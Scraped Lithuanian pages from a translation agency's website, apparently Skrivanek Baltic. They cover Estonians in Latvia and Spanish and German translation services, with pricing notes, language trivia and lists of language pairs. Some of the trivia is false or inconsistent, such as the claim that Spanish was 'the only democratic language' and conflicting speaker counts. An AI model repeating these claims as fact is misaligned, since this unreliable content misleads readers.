kalbės estiškai, tačiau jei jie moka keletą mandagumo frazių, estai tai įvertins. Už Estijos ribų estų kalba kaip verslo kalba paprastai nevartojama. Bendradarbiavimo sutartys su Estijos įmonėmis sudaromos anglų arba rusų kalba. ESTAI LATVIJOJE Pirmieji estų atstovai Latvijos teritorijoje buvo leiviai ir lutsiai. Leiviai, kurių, kaip manoma, buvo keli tūkstančiai, driekėsi nuo dabartinės Veru (Võru) apskrities pietinio galo iki Gulbenės ir Alūksnės. Lutsių kaimai buvo įsikūrę aplink Ludzą (iš čia ir pavadinimas – lutsiai), manoma, kad didžiausias jų skaičius buvo apie 4 000. Į pietus nuo dabartinės Latvijos ir Estijos sienos tradiciškai gyveno ir estai. Labai įdomu, kad Latvijos universiteto Lyvų institutas kartu su Ludzos miesto biblioteka išleido „Ludzos estų kalbos abėcėlę“. Didžiausia estų bendruomenė Rygoje susiformavo XIX a. pabaigoje ir XX a. pradžioje. Į Rygą, vieną didžiausių carinės Rusijos pramonės centrų ir Vidžemės gubernijos, kuriai priklausė didžioji dabartinės Estijos dalis, administracinį centrą, migravo tekstilės darbininkai, amatininkai, prekybininkai ir pramonininkai. Be to, į Rygą atvykę estų jaunuoliai galėjo studijuoti vieninteliame Baltijos šalyse technikos universitete ir Rygos dvasinėje seminarijoje. 1881 m. Rygoje gyveno 1 565 estai, o XX a. pradžioje, įvairiais skaičiavimais, jų skaičius išaugo iki 28 000. Per Pirmąjį pasaulinį karą ir po jo daug estų grįžo į tėvynę. 1920 m. pirmojo Latvijos gyventojų surašymo duomenimis, Latvijoje gyveno 8700 estų, dauguma jų – pasienio regione aplink Valmierą (1 600 estų), Valką ir Alūksnę (4 100) ir Rygą (1 600). Liepojos ir Ventspilio uostamiesčiuose taip pat gyveno didelė, daugiau kaip 100 estų bendruomenė. Trečdalis estų į Latviją atvyko sovietų okupacijos metais, kai dėl valstybinių sienų nebuvimo buvo lengviau studijuoti, dirbti ar tuoktis kaimyninėje šalyje. Latvijos statistikos tarnybos duomenimis, 2021 m. Latvijoje gyveno 1 676 estų tautybės asmenys. Abi šalys puikiai bendradarbiauja ekonomikos, švietimo, kultūros, vidaus reikalų, teisingumo ir gynybos srityse. Taip pat verta paminėti sėkmingą bendradarbiavimą transporto ir ryšių srityje Rygos estų mokykla Rygoje veikia nuo 1989 m. Latvijos universitetas yra sudaręs bendradarbiavimo sutartį su Tartu universitetu. Latvijos universitete vykdoma suomių–ugrų studijų programa, kurioje taip pat mokoma estų kalbos. Estų kalbą taip pat galima rinktis kaip C dalies (laisvąjį) dalyką. Šiuo metu latvių kalba Tartu universitete dėstoma kaip laisvai pasirenkamas dalykas ir sulaukė didelio studentų susidomėjimo. Tartu universitetas yra suinteresuotas plėsti latvių kalbos mokymąsi. Talino universitete taip pat siūlomi latvių kalbos kursai. Latvijos žemės ūkio universitetas jau seniai bendradarbiauja su Estijos Tartu gyvybės mokslų universitetu. Latvijos dailės akademija bendradarbiauja su Estijos dailės akademija ir Tartu universitetu. Latvijos kultūros akademija pasirašė bendradarbiavimo sutartį su Estijos muzikos ir teatro akademija pagal „Socrates/Erasmus“ programą, taip pat su Tartu universiteto Viljandi kultūros akademija. Bendradarbiavimas su Estija yra labai aktyvus visose kultūros ir meno srityse, nes labai gerai bendradarbiaujama su Estijos kultūros ministerija, o ministerijos nuolat keičiasi patirtimi visais lygmenimis. Baltijos šalių bendradarbiavimas gynybos srityje grindžiamas 2013 m. sausio mėn. gynybos ministrų pasirašytu Supratimo memorandumu dėl bendradarbiavimo gynybos ir karinėje srityje. Sausumos pajėgų padaliniai reguliariai dalyvauja bendrose pratybose, kurios padeda palaikyti aukštą sąveikos lygį. Latvija ir Estija aktyviai bendradarbiauja planuodamos ir įgyvendindamos dvišalius ir trišalius transporto projektus Baltijos šalyse. Latviją ir Estiją kerta transporto koridorius „Via Baltica“, abi šalys turi gerai išvystytus geležinkelių tinklus ir dalyvauja plėtojant projektą „Rail Baltica“. Estijos ambasada Latvijoje rūpinasi savo piliečiais Latvijoje. SPRENDIMAI, KURIUOS DAŽNIAUSIAI TEIKIAME ESTŲ KALBA: dokumentų vertimas į estų kalbą; skubūs rašytiniai vertimai; notaro patvirtintas vertimas; interneto svetainės vertimas; estų kalbos tekstų korektūra; tekstų adaptacija ir kūrybinių tekstų rengimas; DTP – grafinio dizaino paslaugos; vertimas žodžiu į estų kalbą; individualūs estų kalbos kursai. ESTŲ KALBOS KOMBINACIJOS: latvių–estų; estų–latvių; anglų–estų; estų–anglų; lietuvių–estų; estų–lietuvių; rusų–estų; estų–rusų; lenkų–estų, estų–lenkų, ukrainiečių–estų, estų–ukrainiečių; čekų–estų; estų–čekų; vokiečių–estų; estų–vokiečių; ispanų–estų; estų–ispanų; prancūzų–estų; estų–prancūzų; italų–estų; estų–italų; danų–estų; estų–danų; švedų–estų; estų–švedų; norvegų–estų; estų–norvegų; suomių–estų, estų–suomių ir kt. --- > Kalbų sprendimai daugiau nei 300 ispanų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - Published: 2022-07-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-spanu-valoda/ - Translation Priorities: Optional Ieškote kalbinių sprendimų ispanų kalba? Susisiekite su mumis! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti ISO sertifikatais patvirtinta kokybės ir konfidencialumo garantijaMūsų projektų vadovai kalba latvių, rusų, anglų, vokiečių ir lenkų kalbomis99 % klientų pasiūlymą gauna greičiau nei per 15 minučiųDaugiau nei 3 000 kalbos specialistų ir gimtakalbiųDaugiau nei 98 % klientų norėtų mus rekomenduoti savo draugams ir partneriamsKasmet mūsų biure išverčiama daugiau kaip 16 milijonų žodžių. VERTIMAI Į ISPANŲ KALBĄ KIEK KAINUOJA ISPANŲ KALBOS VERTIMAI? Vertimų iš / į ispanų kalbą kaina nustatoma kiekvienam užsakymui atskirai. Nustatant kainą atsižvelgiama į keletą veiksnių ─ nuosekliojo ir sinchroninio vertimo kainą lemia laikas, vieta, kelionės išlaidos, dienpinigiai, sinchroninio vertimo techninė pagalba, dalyvių skaičius ir kt. Vertimo kainą lemia verčiamos medžiagos apimtis, vertimo terminai, teksto turinio, ypač mokslinių straipsnių ir tyrimų, sudėtingumas, pasikartojimai tekste, grafinis apdorojimas ir formatavimas, korektūra, redagavimas, taip pat kitos kliento pasirinktos papildomos paslaugos. AR YRA VERTIMŲ KAINORAŠTIS? Taip, vertimo raštu ir žodžiu (sinchroninio ir nuosekliojo) iš / į ispanų kalbą kainoraštis yra neatsiejama mūsų bendradarbiavimo sutarties su klientais dalis. Prieš pradėdami vertimo projektą visada pateikiame išsamią informaciją apie vertimo kainą. Paprastai pasiūlymas parengiamas per 30 minučių. Nustatant rašytinių kūrinių kainą atsižvelgiama į pirminio teksto žodžių skaičių, pasikartojimus, grafinių elementų sudėtingumą ir kitus parametrus. Laukiame jūsų medžiagos vertimui el. paštu, kad galėtume pateikti pasiūlymą. ĮDOMŪS FAKTAI APIE ISPANŲ KALBĄ Ispanų kalbos ištakos siekia maždaug IX mūsų eros amžių. Ji išsivystė iš lotynų kalbos, kuri į Pirėnų pusiasalį pateko kartu su romėnų legionais III a. pr. m. e. Ispanų arba kastilų kalba – indoeuropiečių kalbų šeimos kalba, priklausanti romanų kalbų grupei, kuria kaip gimtąja kalba kalba ne mažiau kaip 400 mln. žmonių visame pasaulyje, daugiausia Pirėnų pusiasalyje ir Amerikoje. Ispanų kalba yra antra pagal paplitimą pasaulyje ir įdomu tai, kad ja kalbama Europoje ir Amerikoje, Afrikoje, Azijoje ir net Okeanijoje. Ispanų kalba yra oficiali kalba 21 šalyje. 72 % ispanų kalba ispaniškai, kiti kalba katalonų, galisų, baskų ir kitomis kalbomis. Kadangi ispanų kalba vartojama įvairiose pasaulio dalyse, susiformavo skirtingi jos variantai arba tarmės. Ispanijoje, Madride ar Barselonoje ispanų kalbos žodynas ir gramatika skiriasi, tačiau Lotynų Amerikoje ispanų kalba skiriasi dar labiau. Ispanų kalba turi apie 10 tarmių, iš kurių labiausiai paplitusi yra taip pat literatūrinė, mokyklose dėstoma ir per televiziją kalbama kastilų kalba. Taip pat yra Lotynų Amerikos ispanų kalba, Andalūzijos ispanų kalba, Meksikos ispanų kalba, Kolumbijos ispanų kalba, Karibų jūros regiono ispanų kalba ir kt. Nors nėra aiškių ribų, kada lotynų kalba tapo ispanų kalba dabartinės šiaurės ir centrinės Ispanijos teritorijoje, galima drąsiai teigti, kad Kastilijos regiono kalba tapo atskira kalba dėl karaliaus Alfonso pastangų XIII a. suvienodinti kalbą oficialiam vartojimui. Ispanų kalbos gramatika pirmą kartą buvo išleista 1492 m. , tais pačiais metais, kai Kristupas Kolumbas atrado Ameriką. Ispanų kalba yra viena fonetiškiausių kalbų pasaulyje. Jei žinote, kaip rašomas žodis, beveik visada galite žinoti, kaip jis tariamas. Išimtis – neseniai atsiradę svetimos kilmės žodžiai, kurie paprastai išlaiko originalią rašybą. XVIII a. įkurta karališkoji Ispanijos akademija (Real Academia Española) laikoma pagrindiniu standartinės ispanų kalbos prižiūrėtoju. Ji rengia žodynus ir gramatikos vadovus. Nors jos sprendimai neturi įstatymo galios, jie plačiai gerbiami Ispanijoje ir Lotynų Amerikoje. Viena iš Akademijos remiamų kalbos reformų yra atvirkštinio klausimo ženklo ir šauktuko (¿ ir ¡) įvedimas ispanų kalboje. Po lotynų kalbos, kuri padarė didžiausią įtaką ispanų kalbai, seka arabų kalba. Šiandien anglų kalba yra įtakingiausia, o ispanų kalba perėmė šimtus angliškų žodžių, susijusių su technologijomis ir kultūra. Ispanų kalba yra antra sparčiausiai kalbama kalba pasaulyje – beveik 7,82 skiemenimis per sekundę. Japonų kalba pranoksta ją dėl greičiausios šnekamosios kalbos titulo – (tik) 7,84 skiemenimis per sekundę. Ispanų kalba yra antra sparčiausiai kalbanti kalba pasaulyje – beveik 7,82 skiemenimis per sekundę. Japonų kalba pranoksta ją (tik) dėl greičiausios šnekamosios kalbos titulo – 7,84 skiemenimis per sekundę. Beje, ispanų kalba laikoma romantiškiausia kalba pasaulyje. Iki XVIII a. ispanų kalba buvo vienintelė demokratinė kalba pasaulyje. Daiktavardžiai ir būdvardžiai ispanų kalboje nekaitomi. Ryšys tarp daiktavardžių nurodomas prielinksniais. ISPANŲ KALBOS ABĖCĖLĖ Kaip ir dauguma Europos kalbų, ispanų abėcėlė yra lotynų abėcėlės variantas. Joje yra tos pačios 26 raidės kaip ir daugelyje kitų indoeuropiečių kalbų, pvz. , anglų ar italų, ir dar viena – vienintelė ispanų kalbai būdinga raidė „ñ“. Be 27 ispanų abėcėlės raidžių, yra penki dvigarsiai (ch, ll, rr, gu ir qu), t. y. raidžių junginiai, kuriais žymimi kiti garsai. Per visą Istoriją rašybos taisyklės labai keitėsi. Šiandien naudojama ispanų kalbos abėcėlė yra 2010 m. ispanų kalbos reformos rezultatas. Naujojoje Ortografía de la lengua española (ispanų kalbos rašybos sistema), kurią tais pačiais 2010 m. pristatė Ispanijos karališkoji akademija (Real Academia de la Lengua Española), buvo nurodyta, kad abėcėlę sudaro tik 27 raidės. Nors dvigarsiai vis dar vartojami raštuose, jie nėra ispanų kalbos abėcėlės dalis. Raidę „Ñ“, kuri neegzistavo lotynų kalboje, todėl jos nėra ir kitose romanų kalbose, maždaug XII a. įvedė ispanų raštininkai. Perrašant tekstus iš lotynų kalbos, ši raidė buvo naudojama kaip trumpoji dviejų raidžių „n“ forma. Pavyzdžiui, lotyniškas annus ilgainiui tapo ispanišku año. AR SUNKU IŠMOKTI ISPANŲ KALBĄ? XXI amžiuje ispanų kalbos mokymasis tapo ypač populiarus. Vis daugiau žmonių renkasi Ispaniją kaip kelionės tikslą, vis daugiau žmonių domisi ispanų kalbos istorija, jos kilme, kalba, kuri žavi savo iškalbingumu. Ispanų kalba laikoma viena lengviausiai išmokstamų kalbų pasaulyje. Tai labai iškalbinga ir turtinga kalba. Lengviausia išmokti kalbą tiems, kurie jau moka vieną iš romanų kalbų – portugalų arba italų. Ispanų kalba yra viena iš lengviausiai išmokstamų kalbų net ir anglakalbiams. Pirma, abiejose kalbose naudojama ta pati abėcėlė. Ispanų kalbos tarimas yra labai paprastas. Abiejų kalbų gramatikos ypatybės taip pat labai panašios. Kalbų ekspertai teigia, kad kasdien skirdami laiko ispanų kalbos mokymuisi galite išmokti ispanų kalbą profesionaliu lygiu per 24 mėnesius. Žinoma, didelę reikšmę mokantis kalbos turi buvimas su ja kalbančiais žmonėmis – klausymasis, skaitymas, kalbėjimas. KUR IR KIEK KALBAMA ISPANIŠKAI? Visame pasaulyje ispanų kalba kalba apie 600 milijonų žmonių. Bent 400 milijonų žmonių yra gimtakalbiai. Valstybinės kalbos statusą ispanų kalba turi 21 šalyje - Meksikoje, Kolumbijoje, Ispanijoje, Argentinoje, Venesueloje, Peru, Čilėje, Ekvadore, Gvatemaloje, Kuboje, Dominikos Respublikoje, Hondūre, Bolivijoje, Salvadore, Nikaragvoje, Paragvajuje, Kosta Rikoje, Urugvajuje, Panamoje, Pusiaujo Gvinėjoje, Puerto Rike. Pasaulyje taip pat yra 10 šalių, kuriose ispanų kalba nėra valstybinė, bet turi specialų statusą: Andora, Belizas, Brazilija, Gibraltaras, Marokas, Filipinai, Trinidadas ir Tobagas, Jungtinės Amerikos Valstijos, Vatikanas ir Vakarų Sachara. Kaip diasporos kalba ji vartojama Kanadoje, Australijoje, Jungtinėje Karalystėje, Prancūzijoje, Šveicarijoje, Vokietijoje, Izraelyje, Italijoje ir Alžyre. ISPANŲ KALBOS VERTĖJAS ŽODŽIU IR RAŠTU „Skrivanek“ profesionalių vertėjų raštu ir žodžiu komanda atlieka standartinių dokumentų vertimus, sudėtingus techninius vertimus ir notaro patvirtintus vertimus. „Skrivanek“ taip pat atlieka ispaniškų tekstų korektūrą ir stilistinį tobulinimą. Verslo klientams dažniausiai verčiame iš / į ispanų kalbą: interneto svetainių ir elektroninės prekybos turinio vertimus, reklaminių šūkių adaptacijas, bendradarbiavimo sutarčių, teisės aktų, teismo sprendimų ir verslo dokumentų vertimus. Taip pat atliekame nuoseklųjį vertimą žodžiu verslo ar kitiems pokalbiams, konferencijoms ir kitiems renginiams. Taip pat siūlome sinchroninį vertimą internetu per „Zoom“ platformą. Fiziniams asmenims verčiame asmens tapatybės dokumentus, santuokos liudijimus, vaikų gimimo liudijimus, išsilavinimo dokumentus, pasus, medicininius dokumentus ir kt. vertimus. ISPANŲ KALBA VERSLUI Pasaulyje ispanų kalba kalba daugiau nei 572 mln. žmonių (7,8 % pasaulio gyventojų), o tai yra antroji pagal paplitimą kalba po kinų. Ispanijos Cervanteso institutas prognozuoja, kad iki 2100 m. šis skaičius pasieks 754 milijonus. Yra daug įrodymų, kad artimiausiais metais verslo aplinkoje dominuos anglų ir ispanų kalbos. Todėl daugelis studentų renkasi ispanų kalbos studijas. Ispanų kalba yra oficiali 20 pasaulio šalių. Ispaniškai kalbančių klientų perkamoji galia sparčiai auga ne tik JAV, bet ir Europoje, taip pat sparčiai auga ispanams priklausančių įmonių skaičius. Dabar labai svarbu įgyti ispanų kalbos įgūdžių, kad būtų galima geriau integruotis į šią augančią rinką, kurioje ispanų kalba yra naujoji ekonominio bendradarbiavimo kalba. Ispanų kalbos įgūdžiai padės užmegzti ilgalaikius verslo santykius su pirkėjais, tiekėjais ir partneriais, kuriems ispanų kalba yra gimtoji. Ir tai bus ne tik Europa, bet ir JAV bei daugelis Pietų Amerikos šalių, kurios jau dabar vaidina svarbų vaidmenį pasaulio ekonomikoje. ISPANIJOS IR LATVIJOS DVIŠALIAI SANTYKIAI 2021 m. buvo paminėtas Latvijos ir Ispanijos diplomatinių santykių užmezgimo šimtmetis. Ispanija jau daugelį metų yra patikima Latvijos prekybos partnerė – tai rodo stabili prekybos apyvarta. Iš Latvijos į Ispaniją daugiausia eksportuojama elektros įranga, daržovės ir maisto produktai, o importuojami vaisiai, daržovės, gėrimai ir tekstilės gaminiai. Latvija daugiau importuoja nei eksportuoja. Tai rodo neigiamą prekybos balansą ir tradiciškai didelius prekių srautų skirtumus. Latvija taip pat puikiai bendrauja su Ispanija kultūros ir švietimo srityse. Nuo 1995 m. Latvijos kultūros akademija vykdo studijų programą „Latvijos ir Ispanijos tarpkultūriniai ryšiai“. Latvijos kultūros akademija pasirašė „Erasmus+“ susitarimus su keliais Ispanijos universitetais. Aktyviai bendradarbiauja Mursijos universitetas ir Rygos technikos universitetas, Rey Juan Carlos universitetas ir Turibos universitetas. Latvijos dailės akademija ir Latvijos kultūros koledžas taip pat bendradarbiauja su Ispanijos švietimo įstaigomis. Liepojos universitetas taip pat siūlo ispanų kalbos studijas Latvijoje. Latviją ir Ispaniją sieja geri kultūriniai ryšiai: bendradarbiauja muziejai ir bibliotekos, operos ir atskiri menininkai. Latvijos nacionalinis dailės muziejus ir Ispanijos muziejai abipusiai deponuoja savo kolekcijų objektus, skirtus muziejų parodoms. Nacionalinis kino centras bendradarbiauja su San Sebastiano tarptautiniu kino festivaliu – vienu svarbiausių ir seniausių Europos kino festivalių. SPRENDIMAI, KURIE DAŽNIAUSIAI TEIKIAMI ISPANŲ KALBA: įvairių dokumentų vertimas į ispanų kalbą; skubūs rašytiniai vertimai; notaro patvirtintas vertimas; interneto svetainės vertimas; ispaniškų tekstų korektūros; tekstų adaptacija ir kūrybinių tekstų rengimas; DTP – grafinio dizaino paslaugos; vertimas žodžiu ispanų kalba; individualūs ir grupiniai ispanų kalbos kursai. ISPANŲ KALBOS KOMBINACIJOS: ispanų–latvių; latvių–Ispanų; ispanų–lietuvių; lietuvių–ispanų; estų–ispanų; ispanų–estų; anglų–ispanų; ispanų–anglų; rusų–ispanų; ispanų–rusų; lenkų–ispanų; ispanų–lenkų; ukrainiečių–ispanų; ispanų–ukrainiečių; čekų–ispanų; ispanų–čekų; vokiečių–ispanų; ispanų–vokiečių; ispanų–ispanų; ispanų–ispanų; prancūzų–ispanų; ispanų–prancūzų; italų–ispanų; ispanų–italų; danų–ispanų; ispanų–danų; švedų–ispanų; ispanų–švedų; norvegų–ispanų; ispanų–norvegų; suomių–ispanų; ispanų–suomių ir kt. --- > Kalbų sprendimai daugiau nei 300 vokiečių kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - Published: 2022-07-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-vacu-valoda/ - Translation Priorities: Optional Ieškote kalbinių sprendimų vokiečių kalba? Susisiekite su mumis! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti ISO sertifikatais patvirtinta kokybės ir konfidencialumo garantijaMūsų projektų vadovai kalba latvių, rusų, anglų, vokiečių ir lenkų kalbomis99 % klientų pasiūlymą gauna greičiau nei per 15 minučiųDaugiau nei 3 000 kalbos specialistų ir gimtakalbiųDaugiau nei 98 % klientų norėtų mus rekomenduoti savo draugams ir partneriamsKasmet mūsų biure išverčiama daugiau kaip 16 milijonų žodžių. VERTIMAI Į VOKIEČIŲ KALBĄ KIEK KAINUOJA VERTIMAS Į VOKIEČIŲ KALBĄ? Vertimų iš / į vokiečių kalbą kaina nustatoma kiekvienam užsakymui atskirai. Pagal dabartinį „Skrivanek“ kainoraštį kainą sudaro kelios sudedamosios dalys. Nuosekliųjų vertimų kaina priklauso nuo paslaugos suteikimo laiko, kalbų kombinacijos, į kurią reikės versti. Rašytinių vertimų kainą lemia verčiamos medžiagos apimtis, vertimo terminai, specifinis teksto turinys, teksto pasikartojimas vertime, grafinis apdorojimas, formatavimas, korektūra ir kliento pasirinktos papildomos paslaugos. AR YRA VERTIMŲ KAINORAŠTIS? Vertimo raštu, vertimo žodžiu (sinchroninio ir nuosekliojo), lokalizavimo ir adaptavimo iš / į vokiečių kalbą paslaugų kainoraštis yra neatsiejama mūsų bendradarbiavimo sutarties su klientais dalis. Prieš pradėdami vertimo projektą ir pasirašydami sutartį, visada pateikiame išsamią informaciją apie vertimo kainą ir papildomas išlaidas, jei klientas pageidauja tam tikrų paslaugų, pavyzdžiui, notarinio tvirtinimo ir kt. Vertimo kainą lemia verčiamos medžiagos apimtis, teksto perteklius dokumente, kalbų poros specifika, verčiamos medžiagos apdorojimo poreikis ir kontekstas. ĮDOMŪS FAKTAI APIE VOKIEČIŲ KALBĄ IR VOKIETIJĄ Vokiečių kalba priklauso indoeuropiečių kalbų šeimai, vakarų germanų kalbų grupei. Jo ištakos siekia I a. pr. m. e. , kai į Vidurio Europą iš pietų atvyko germanų gentys. Vėliau pagrindinė germanų kalba suskilo į tris regionines formas: šiaurės germanų, rytų germanų ir vakarų germanų. Bėgant amžiams iš vakarų germanų kalbos išsivystė šiuolaikinės vokiečių, olandų, fryzų, liuksemburgiečių, afrikiečių, škotų ir anglų kalbos. Šiuolaikinės vokiečių kalbos raidos istoriją galima suskirstyti į tris laikotarpius: 1. Senoji aukštaičių vokiečių kalba (apie 750–1050 m. po Kr. ) 2. Vidurinė vokiečių kalba (1050–1500 m. ) 3. Šiuolaikinė vokiečių kalba (nuo 1500 m. iki šių dienų). Ši kalba yra gimtoji maždaug 108 mln. žmonių. Tai yra dešimtoji didžiausia kalba pasaulyje. Tačiau vokiečių kalba yra labiausiai paplitusi gimtoji kalba ES. Vokiečių kalba yra oficiali kelių Europos šalių – Austrijos, Lichtenšteino, Liuksemburgo, Šveicarijos ir Vokietijos – kalba. Kitur Europoje didelės vokiškai kalbančių žmonių bendruomenės gyvena rytų Belgijoje, pietų Danijoje, Prancūzijoje (Elzaso regione) ir šiaurės Italijoje. Latvių vertėjas ir filologas Valdis Bisenieks mano, kad vokiečių kalba yra ypatinga tuo, kad jos literatūrinė kalba nesusiformavo natūraliai, kaip kitų kalbų, pagrįsta viena konkrečia tarme, o buvo sukurta dirbtinai, pradedant Liuteriu ir baigiant Teodoro Zibo „Sceninio tarimo žodynu aktoriams“, kuris buvo toks populiarus Vokietijoje, kad tapo visuotiniu tarimo pavyzdžiu. Liuteris ėmė skirtingus žodžius iš skirtingų vokiečių kalbos tarmių, ir viskas taip tarsi dirbtinai, bet kažkaip natūraliai įvyko, o ten, kur yra galimi variantai, atsiranda skirtingos reikšmės. Vokiečių kalba – tai Bacho, Bethoveno, Bramso, Brechto, Einšteino, Froido, Gėtės, Graso, Hėgelio, Kafkos, Kanto, Mano, Mocarto, Nyčės, Šuberto, Vagnerio, Vėberio ir šimtų kitų pasaulinio garso filosofų, kompozitorių, menininkų, mokslininkų ir rašytojų kalba! 68 % japonų studentų mokosi vokiečių kalbos. Markas Tvenas apie vokiečių kalbą ir vokiečių meilę jungtukams yra pasakęs, kad tai ne žodžiai, o „gramatiniai judesiai, kurie didingai žygiuoja per puslapį“. Vokiečių kalbos sudėtiniai žodžiai neabejotinai erzina bet kurį besimokantįjį, tačiau jie džiugina tuos, kurie mėgsta kalbas. Vokiečių kalboje visi daiktavardžiai rašomi didžiąja raide. Prieš daiktavardžius rašomi artikeliai, nurodantys daiktavardžio giminę. Moteriškosios giminės daiktavardžiai žymimi artikeliu „die“, vyriškosios giminės daiktavardžiai – artikeliu „der“, o bevardės giminės daiktavardžiai – artikeliu „das“. Rindfleischetikettierungsüberwachungsaufgabenübertragungsgesetz yra ilgiausias 63 raidžių dūrinys vokiečių kalboje. Tai reiškia „Įstatymą dėl galvijų ženklinimo ir jautienos ženklinimo priežiūros pareigų perdavimo“ ir buvo priimtas 1999 m. per GSE (galvijų spongiforminės encefalopatijos) krizę. Jam buvo suteikta santrumpa RkReÜAÜG, kuri pati savaime taip pat buvo neištariama. Vokietijoje yra bent 35 tarmės, o skirtingų regionų gyventojai kartais net sunkiai supranta vieni kitus. Todėl regioniniai filmai rodomi su subtitrais. Vokiečiai taip saugo savo kalbą, kad dauguma užsienio filmų prieš premjerą dubliuojami į vokiečių kalbą, pasitelkiant vietinius aktorius. Dėl to dubliavimas tapo kelių šimtų milijonų eurų vertės pramone. Vokietijos saldumynų gamintoja „Haribo“ vykdo projektą, kurio metu vietos vaikai gali iškeisti gilės į saldainius. Vėliau gilės siunčiamos į gamtos rezervatus gyvūnams maitinti. Kasmet Vokietijoje suvalgoma daugiau kaip 800 milijonų „Currywurst“ dešrelių. Šalyje šis patiekalas toks populiarus, kad Berlyne net yra jam skirtas muziejus. Apie Vokietiją galėtume kalbėti dar ilgai, nes tai šalis, turinti ilgą istoriją, kultūrą ir tradicijas. Ji išugdė pasaulinio garso kultūros, švietimo, mokslo, politikos mokslų ir daugelio kitų sričių genijų. Tačiau aišku viena: vokiečių kalba mums visiems atveria kelią į gražią šalį, nuostabią kultūrą ir kartais juokingus vokiškus papročius. VOKIEČIŲ KALBOS ABĖCĖLĖ Vokiečių abėcėlę sudaro 26 lotynų abėcėlės raidės. Raidės su umliautais (ä, ö, ü) ir ligatūra ß į abėcėlę neįtrauktos. Umlautas, arba diakritinis ženklas, žymi balsio palatalizaciją arba minkštinimą. Ligatūra esszett „ß“ yra dviejų raidžių „s“ ir „s“ derinys viename simbolyje. Iki XX a. pradžios oficialiai buvo naudojamas gotikinis raštas. Dabartinė rašyba buvo įvesta XIX a. , o po 1918 m. revoliucijos buvo pripažinta oficialiai. Gotikinį raštą nesėkmingai bandė atkurti nacionalsocialistinė Vokietijos darbininkų partija, tačiau dabar jis atlieka tik dekoratyvinį vaidmenį. Fonemos žymimos devyniomis lotynų abėcėles balsėmis (a, e, i, y, o, u, ä, ö, ü) ir 20 priebalsių (b, c, d, f, g, h, j, k, l, m, n, p, q, r, s, ß, v, w, x, z) bei jų junginiais (pvz. , sch , ng ). Vokiečių ortografijoje daugiausia naudojamas morfologinis ir fonetinis principai, tačiau iš dalies išsaugomi ir istorinė rašyba, todėl, pavyzdžiui, yra nemažai skirtingų balsių ilgumo ženklų. Daiktavardžiai rašomi didžiąja raide. AR SUDĖTINGA VOKIEČIŲ KALBA? „Gabus žmogus turėtų išmokti anglų kalbą per 30 valandų, prancūzų kalbą – per 30 dienų, o vokiečių kalbą – per 30 metų. “ / Mark Twain / Vokiečių kalba nėra viena sunkiausiai išmokstamų kalbų. Bent 45 % žodžių yra labai panašūs į angliškus žodžius, todėl mokytis vokiečių kalbos bus pakankamai lengva ir angliškai kalbantiems žmonėms. Trijų vokiškų artikelių vartojimas gali pareikalauti nemažai kruopštumo. Tačiau tikėtina, kad sprendimas bus tik kalbos praktika ir įsiminimas. Sakinių gramatinė struktūra yra neįprasta. Jei sakinyje yra du veiksmažodžiai arba vartojamas sudėtinis laikas, antrasis veiksmažodis rašomas sakinio pabaigoje. Ši gramatinė ypatybė taip pat yra reta, palyginti su kitomis kalbomis. Taigi kantrybė, laikas ir noras išmokti kalbą yra raktas į bet kurios kalbos, ne tik vokiečių, mokymąsi. Laikas, per kurį išmokstama kalbos, yra labai individualus – vieniems prireiks metų, kitiems galbūt tik vienerių metų. Paprastai manoma, kad norint išmokti vokiečių kalbą šnekamuoju lygiu, reikia 30 savaičių, t. y. 750 valandų. KUR IR KIEK KALBAMA VOKIŠKAI? Pasaulyje yra apie 185 mln. vokiečių kalbos vartotojų, iš kurių bent 105 mln. yra gimtoji vokiečių kalba. 80 milijonų žmonių kasdien vartoja vokiečių kalbą kaip antrąją arba kaip užsienio kalbą. Vokietijoje pagrindinė vartojama kalba yra vokiečių (gimtoji kalba daugiau nei 95 % šalies gyventojų), Austrijoje – 89 %, Šveicarijoje – 64 %. Ji taip pat yra gimtoji daugelio Lichtenšteino ir Liuksemburgo gyventojų kalba. Likusioje Europos dalyje daug vokiškai kalbančių žmonių gyvena šiaurės Italijoje, rytų Belgijoje ir Prancūzijos Elzaso regione. Mažesnių vokiškai 